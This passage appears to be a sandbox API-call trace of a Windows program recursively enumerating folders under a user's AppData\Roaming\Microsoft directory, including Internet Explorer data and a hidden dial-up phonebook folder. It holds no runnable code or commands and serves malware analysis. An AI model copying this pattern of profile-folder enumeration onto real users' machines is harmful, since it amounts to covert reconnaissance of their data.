lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpFilePart=0x0) returned 0x46 [0068.406] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.406] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.407] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.407] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.407] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3d [0068.407] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.407] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.407] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.407] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.407] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.408] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.408] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2f [0068.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\mmc"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x740e1100, ftCreationTime.dwHighDateTime=0x1d2fab1, ftLastAccessTime.dwLowDateTime=0x740e1100, ftLastAccessTime.dwHighDateTime=0x1d2fab1, ftLastWriteTime.dwLowDateTime=0x740e1100, ftLastWriteTime.dwHighDateTime=0x1d2fab1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2f [0068.419] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.419] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.419] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.419] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2f [0068.419] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.422] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.422] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.422] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x36 [0068.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.422] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ms project"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa82ed810, ftCreationTime.dwHighDateTime=0x1d30610, ftLastAccessTime.dwLowDateTime=0xa82ed810, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa82ed810, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x36 [0068.423] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.423] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.423] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.423] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.423] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", lpFilePart=0x0) returned 0x39 [0068.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.423] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ms project\\12"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa82ed810, ftCreationTime.dwHighDateTime=0x1d30610, ftLastAccessTime.dwLowDateTime=0xa82ed810, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa82ed810, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", lpFilePart=0x0) returned 0x39 [0068.423] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.423] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.424] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.424] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.424] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", lpFilePart=0x0) returned 0x3e [0068.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ms project\\12\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa82ed810, ftCreationTime.dwHighDateTime=0x1d30610, ftLastAccessTime.dwLowDateTime=0xa8385d90, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0xa8385d90, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", lpFilePart=0x0) returned 0x3e [0068.424] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.424] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.424] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.425] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.425] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033", lpFilePart=0x0) returned 0x3e [0068.425] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\1033\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.425] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.425] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.425] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.425] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12", lpFilePart=0x0) returned 0x39 [0068.425] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\12\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.425] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.426] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.426] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.426] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x36 [0068.426] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.426] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.426] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.426] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.426] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x33 [0068.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb20e20b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb20e20b0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x33 [0068.427] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.427] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.427] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.427] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.427] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3f [0068.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network\\connections"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb20e20b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb20e20b0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3f [0068.428] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.428] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.428] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.428] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.428] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x43 [0068.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network\\connections\\pbk"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb20e20b0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb20e20b0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x43 [0068.428] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.429] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.429] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.429] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.429] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4e [0068.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0068.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb20e20b0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb2108210, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xb2108210, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0068.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0068.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4e [0068.430] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.430] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.430] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0068.430] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0068.430] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.430] SetThreadErrorMode (dwNewMode=0x0, 